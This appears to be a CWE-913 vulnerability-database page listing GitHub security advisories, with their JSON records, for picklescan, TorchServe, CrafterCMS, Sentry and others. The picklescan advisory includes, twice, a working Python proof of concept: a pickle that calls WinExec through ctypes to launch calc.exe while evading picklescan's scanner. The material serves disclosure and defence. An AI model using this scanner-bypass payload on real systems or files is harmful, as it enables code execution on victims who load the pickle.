CWE-913
Allowed-with-ReviewImproper Control of Dynamically-Managed Code Resources
Abstraction: Class · Status: Incomplete
The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.
168 vulnerabilities reference this CWE, most recent first.
GHSA-4675-36F9-WF6R
Vulnerability from github – Published: 2025-12-29 15:23 – Updated: 2026-06-18 14:44Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers.
This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.
This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected
PoC
import pickle
import ctypes
import operator
class Kernel32Loader:
def __reduce__(self):
#we go direct to the kerneeellllllll
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def __reduce__(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def __reduce__(self):
#methodcaller to invoke "__call__" on the function pointer.
return (
operator.methodcaller("__call__", b"calc.exe", 1),
(WinExecGetter(),)
)
try:
payload = pickle.dumps(PopCalc())
with open("calc_exploit.pkl", "wb") as f:
f.write(payload)
print("Generated 'calc_exploit.pkl'")
except Exception as e:
print(f"Generation failed: {e}")
This will create a pickle file which is not detected by the latest version of picklescan as malicious
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.33"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71323"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-29T15:23:49Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nPicklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to\n* Load DLLs\n* Call C functions directly\n* Manipulate memory raw pointers.\n\nThis can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.\n\nThis is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected\n\n### PoC\n```python\nimport pickle\nimport ctypes\nimport operator\n\nclass Kernel32Loader:\n def __reduce__(self):\n #we go direct to the kerneeellllllll\n return (ctypes.WinDLL, (\"kernel32.dll\",))\n\nclass WinExecGetter:\n def __reduce__(self):\n return (operator.itemgetter(\"WinExec\"), (Kernel32Loader(),))\n\nclass PopCalc:\n def __reduce__(self):\n #methodcaller to invoke \"__call__\" on the function pointer.\n return (\n operator.methodcaller(\"__call__\", b\"calc.exe\", 1), \n (WinExecGetter(),)\n )\n\ntry:\n payload = pickle.dumps(PopCalc())\n \n with open(\"calc_exploit.pkl\", \"wb\") as f:\n f.write(payload)\n \n print(\"Generated \u0027calc_exploit.pkl\u0027\")\n\nexcept Exception as e:\n print(f\"Generation failed: {e}\")\n```\nThis will create a pickle file which is not detected by the latest version of picklescan as malicious\n\n```python\nimport pickle\nprint(\"Loading bypass.pkl...\")\npickle.load(open(\"calc_exploit.pkl\", \"rb\"))\n```\n\n\u003cimg width=\"1333\" height=\"677\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176\" /\u003e",
"id": "GHSA-4675-36f9-wf6r",
"modified": "2026-06-18T14:44:57Z",
"published": "2025-12-29T15:23:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71323"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
},
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Picklescan does not block ctypes"
}
GHSA-4MQG-H5JF-J9M7
Vulnerability from github – Published: 2023-10-02 20:38 – Updated: 2023-10-02 20:38Impact
Use of Open Source Library potentially exposed to RCE
Issue: Use of a version of the SnakeYAML v1.31open source library with multiple issues that potentially exposes the user to unsafe deserialization of Java objects. This could allow third parties to execute arbitrary code on the target system. This issue is present in versions 0.3.0 to 0.8.1.
Mitigation: A pull request to address this issue has been merged - https://github.com/pytorch/serve/pull/2523. TorchServe release 0.8.2 includes this fix.
Patches
TorchServe release 0.8.2 includes fixes to address the previously listed issue:
https://github.com/pytorch/serve/releases/tag/v0.8.2
Tags for upgraded DLC release User can use the following new image tags to pull DLCs that ship with patched TorchServe version 0.8.2: x86 GPU
- v1.9-pt-ec2-2.0.1-inf-gpu-py310
- v1.8-pt-sagemaker-2.0.1-inf-gpu-py310
x86 CPU
- v1.8-pt-ec2-2.0.1-inf-cpu-py310
- v1.7-pt-sagemaker-2.0.1-inf-cpu-py310
Graviton
- v1.7-pt-graviton-ec2-2.0.1-inf-cpu-py310
- v1.5-pt-graviton-sagemaker-2.0.1-inf-cpu-py310
Neuron
- 1.13.1-neuron-py310-sdk2.13.2-ubuntu20.04
- 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04
- 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04
The full DLC image URI details can be found at: https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images
References
https://github.com/pytorch/serve/pull/2523 https://github.com/pytorch/serve/releases/tag/v0.8.2 https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images
Credit
We would like to thank Oligo Security for responsibly disclosing this issue and working with us on its resolution. If you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting)) or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "torchserve"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.0"
},
{
"fixed": "0.8.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-02T20:38:07Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Impact\n\n**Use of Open Source Library potentially exposed to RCE**\n **Issue**: Use of a version of the SnakeYAML `v1.31 `open source library with multiple issues that potentially exposes the user to unsafe deserialization of Java objects. This could allow third parties to execute arbitrary code on the target system. This issue is present in versions `0.3.0` to `0.8.1`.\n **Mitigation**: A pull request to address this issue has been merged - https://github.com/pytorch/serve/pull/2523. TorchServe release `0.8.2` includes this fix.\n\n## Patches\n\n## TorchServe release 0.8.2 includes fixes to address the previously listed issue:\n\nhttps://github.com/pytorch/serve/releases/tag/v0.8.2\n\n**Tags for upgraded DLC release**\nUser can use the following new image tags to pull DLCs that ship with patched TorchServe version 0.8.2:\nx86 GPU\n\n* v1.9-pt-ec2-2.0.1-inf-gpu-py310\n* v1.8-pt-sagemaker-2.0.1-inf-gpu-py310\n\nx86 CPU\n\n* v1.8-pt-ec2-2.0.1-inf-cpu-py310\n* v1.7-pt-sagemaker-2.0.1-inf-cpu-py310\n\nGraviton\n\n* v1.7-pt-graviton-ec2-2.0.1-inf-cpu-py310\n* v1.5-pt-graviton-sagemaker-2.0.1-inf-cpu-py310\n\nNeuron\n\n* 1.13.1-neuron-py310-sdk2.13.2-ubuntu20.04\n* 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04\n* 1.13.1-neuronx-py310-sdk2.13.2-ubuntu20.04\n\nThe full DLC image URI details can be found at: https://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images\n\n## References\nhttps://github.com/pytorch/serve/pull/2523\nhttps://github.com/pytorch/serve/releases/tag/v0.8.2\nhttps://github.com/aws/deep-learning-containers/blob/master/available_images.md#available-deep-learning-containers-images\n\n## Credit\nWe would like to thank Oligo Security for responsibly disclosing this issue and working with us on its resolution.\nIf you have any questions or comments about this advisory, we ask that you contact AWS/Amazon Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting[)](https://aws.amazon.com/security/vulnerability-reporting)) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.",
"id": "GHSA-4mqg-h5jf-j9m7",
"modified": "2023-10-02T20:38:07Z",
"published": "2023-10-02T20:38:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/security/advisories/GHSA-4mqg-h5jf-j9m7"
},
{
"type": "WEB",
"url": "https://github.com/pytorch/serve/pull/2523"
},
{
"type": "PACKAGE",
"url": "https://github.com/pytorch/serve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "TorchServe Pre-Auth Remote Code Execution"
}
GHSA-4Q9H-CRQ4-9XJQ
Vulnerability from github – Published: 2026-04-01 03:31 – Updated: 2026-04-01 03:31A vulnerability has been found in gougucms 4.08.18. This affects the function reg_submit of the file gougucms-master\app\home\controller\Login.php of the component User Registration Handler. Such manipulation of the argument level leads to dynamically-determined object attributes. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-5248"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T01:16:41Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in gougucms 4.08.18. This affects the function reg_submit of the file gougucms-master\\app\\home\\controller\\Login.php of the component User Registration Handler. Such manipulation of the argument level leads to dynamically-determined object attributes. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-4q9h-crq4-9xjq",
"modified": "2026-04-01T03:31:40Z",
"published": "2026-04-01T03:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5248"
},
{
"type": "WEB",
"url": "https://thinhneee.github.io/posts/gougu-mass-assign"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/780589"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354429"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354429/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-562R-F8R6-C7WJ
Vulnerability from github – Published: 2025-12-09 18:30 – Updated: 2025-12-09 18:30Improper control of dynamically managed code resources in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote, unauthenticated attacker to write arbitrary files on the server, potentially leading to remote code execution. User interaction is required.
{
"affected": [],
"aliases": [
"CVE-2025-13659"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-09T16:17:35Z",
"severity": "HIGH"
},
"details": "Improper control of dynamically managed code resources in Ivanti Endpoint Manager prior to version 2024 SU4 SR1 allows a remote, unauthenticated attacker to write arbitrary files on the server, potentially leading to remote code execution. User interaction is required.",
"id": "GHSA-562r-f8r6-c7wj",
"modified": "2025-12-09T18:30:35Z",
"published": "2025-12-09T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13659"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/Security-Advisory-EPM-December-2025-for-EPM-2024"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5644-3VGQ-2PH5
Vulnerability from github – Published: 2025-06-19 21:31 – Updated: 2025-06-20 13:28Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of CrafterCMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.
By inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and obtain RCE (Remote Code Execution).
This issue affects CrafterCMS: from 4.0.0 through 4.2.2.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.craftercms:crafter-studio"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-6384"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-20T13:28:38Z",
"nvd_published_at": "2025-06-19T21:15:27Z",
"severity": "HIGH"
},
"details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of CrafterCMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.\n\nBy inserting malicious Groovy elements, an attacker may bypass Sandbox restrictions and obtain RCE (Remote Code Execution).\n\nThis issue affects CrafterCMS: from 4.0.0 through 4.2.2.",
"id": "GHSA-5644-3vgq-2ph5",
"modified": "2025-06-20T13:28:38Z",
"published": "2025-06-19T21:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6384"
},
{
"type": "WEB",
"url": "https://github.com/craftercms/studio/commit/471bbad07cf1f3b420529a020c1409ad57d48a4e"
},
{
"type": "WEB",
"url": "https://docs.craftercms.org/current/security/advisory.html#cv-2025061901"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftercms/studio"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Crafter Studio Groovy Sandbox Bypass"
}
GHSA-58PG-75F2-3JXJ
Vulnerability from github – Published: 2021-12-03 00:00 – Updated: 2021-12-04 00:01Authenticated users with Administrator or Developer roles may execute OS commands by SPEL Expression in Spring beans. SPEL Expression does not have security restrictions, which will cause attackers to execute arbitrary commands remotely (RCE).
{
"affected": [],
"aliases": [
"CVE-2021-23258"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-02T16:15:00Z",
"severity": "HIGH"
},
"details": "Authenticated users with Administrator or Developer roles may execute OS commands by SPEL Expression in Spring beans. SPEL Expression does not have security restrictions, which will cause attackers to execute arbitrary commands remotely (RCE).",
"id": "GHSA-58pg-75f2-3jxj",
"modified": "2021-12-04T00:01:15Z",
"published": "2021-12-03T00:00:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23258"
},
{
"type": "WEB",
"url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2021120101"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-593M-55HH-J8GV
Vulnerability from github – Published: 2024-10-03 18:26 – Updated: 2024-10-04 16:32Impact
In case a Prototype Pollution vulnerability is present in a user's application or bundled libraries, the Sentry SDK could potentially serve as a gadget to exploit that vulnerability. The exploitability depends on the specific details of the underlying Prototype Pollution issue.
[!NOTE] This advisory does not indicate the presence of a Prototype Pollution within the Sentry SDK itself. Users are strongly advised to first address any Prototype Pollution vulnerabilities in their application, as they pose a more critical security risk.
Patches
The issue was patched in all Sentry JavaScript SDKs starting from the 8.33.0 version. Also, the fix was backported to SDK v7 in 7.119.1.
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@sentry/browser"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0-alpha.1"
},
{
"fixed": "8.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@sentry/browser"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.119.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-03T18:26:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\nIn case a Prototype Pollution vulnerability is present in a user\u0027s application or bundled libraries, the Sentry SDK could potentially serve as a gadget to exploit that vulnerability. The exploitability depends on the specific details of the underlying Prototype Pollution issue.\n\n\u003e [!NOTE]\n\u003e This advisory does not indicate the presence of a Prototype Pollution within the Sentry SDK itself. Users are strongly advised to first address any Prototype Pollution vulnerabilities in their application, as they pose a more critical security risk.\n\n### Patches\nThe issue was patched in all Sentry JavaScript SDKs starting from the [8.33.0](https://github.com/getsentry/sentry-javascript/releases/tag/8.33.0) version.\nAlso, the fix was backported to SDK v7 in [7.119.1](https://github.com/getsentry/sentry-javascript/releases/tag/7.119.1).\n\n### References\n* [Prototype Pollution](https://portswigger.net/web-security/prototype-pollution)\n* [Prototype Pollution gadgets](https://portswigger.net/web-security/prototype-pollution#prototype-pollution-gadgets)\n* [sentry-javascript#13838](https://github.com/getsentry/sentry-javascript/pull/13838)",
"id": "GHSA-593m-55hh-j8gv",
"modified": "2024-10-04T16:32:02Z",
"published": "2024-10-03T18:26:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/security/advisories/GHSA-593m-55hh-j8gv"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/pull/13838"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/commit/35bdc87dee3498794e34c1ad35dd9927950c8766"
},
{
"type": "PACKAGE",
"url": "https://github.com/getsentry/sentry-javascript"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/releases/tag/7.119.1"
},
{
"type": "WEB",
"url": "https://github.com/getsentry/sentry-javascript/releases/tag/8.33.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Sentry SDK Prototype Pollution gadget in JavaScript SDKs"
}
GHSA-5FR5-6CWJ-9HP2
Vulnerability from github – Published: 2025-12-04 15:30 – Updated: 2025-12-04 15:30Improper control of dynamically-managed code resources vulnerability in WebAPI component in Synology DiskStation Manager (DSM) before 7.1.1-42962-8 and 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote authenticated users to obtain privileges without consent via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2024-5401"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-04T15:15:54Z",
"severity": "MODERATE"
},
"details": "Improper control of dynamically-managed code resources vulnerability in WebAPI component in Synology DiskStation Manager (DSM) before 7.1.1-42962-8 and 7.2.1-69057-2 and 7.2.2-72806 and Synology Unified Controller (DSMUC) before 3.1.4-23079 allows remote authenticated users to obtain privileges without consent via unspecified vectors.",
"id": "GHSA-5fr5-6cwj-9hp2",
"modified": "2025-12-04T15:30:33Z",
"published": "2025-12-04T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5401"
},
{
"type": "WEB",
"url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5G3M-2273-P6X6
Vulnerability from github – Published: 2026-08-19 18:32 – Updated: 2026-08-27 06:31A flaw was found in the search-v2-operator. This vulnerability allows a privileged user, specifically a Custom Resource (CR) editor, to manipulate Search CR fields such as imageOverride, arguments, and environment variables without proper validation. By exploiting this, an attacker can mount arbitrary secrets into a search container's environment or replace the container image with an attacker-controlled one. This leads to privilege escalation and can result in a full cluster compromise due to the ServiceAccount's extensive impersonation permissions.
{
"affected": [],
"aliases": [
"CVE-2026-71470"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T17:20:57Z",
"severity": "CRITICAL"
},
"details": "A flaw was found in the search-v2-operator. This vulnerability allows a privileged user, specifically a Custom Resource (CR) editor, to manipulate Search CR fields such as imageOverride, arguments, and environment variables without proper validation. By exploiting this, an attacker can mount arbitrary secrets into a search container\u0027s environment or replace the container image with an attacker-controlled one. This leads to privilege escalation and can result in a full cluster compromise due to the ServiceAccount\u0027s extensive impersonation permissions.",
"id": "GHSA-5g3m-2273-p6x6",
"modified": "2026-08-27T06:31:23Z",
"published": "2026-08-19T18:32:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71470"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60386"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60387"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60388"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60389"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60390"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:60391"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-71470"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2512149"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5Q7C-3GJ2-48QW
Vulnerability from github – Published: 2024-01-12 21:30 – Updated: 2024-01-12 21:30NVIDIA DGX A100 SBIOS contains a vulnerability where a user may cause a dynamic variable evaluation by local access. A successful exploit of this vulnerability may lead to denial of service.
{
"affected": [],
"aliases": [
"CVE-2023-31032"
],
"database_specific": {
"cwe_ids": [
"CWE-627",
"CWE-913"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-12T19:15:10Z",
"severity": "HIGH"
},
"details": "NVIDIA DGX A100 SBIOS contains a vulnerability where a user may cause a dynamic variable evaluation by local access. A successful exploit of this vulnerability may lead to denial of service.",
"id": "GHSA-5q7c-3gj2-48qw",
"modified": "2024-01-12T21:30:19Z",
"published": "2024-01-12T21:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31032"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5510"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of acceptable values.
Mitigation
Strategy: Refactoring
Refactor the code so that it does not need to be dynamically managed.
No CAPEC attack patterns related to this CWE.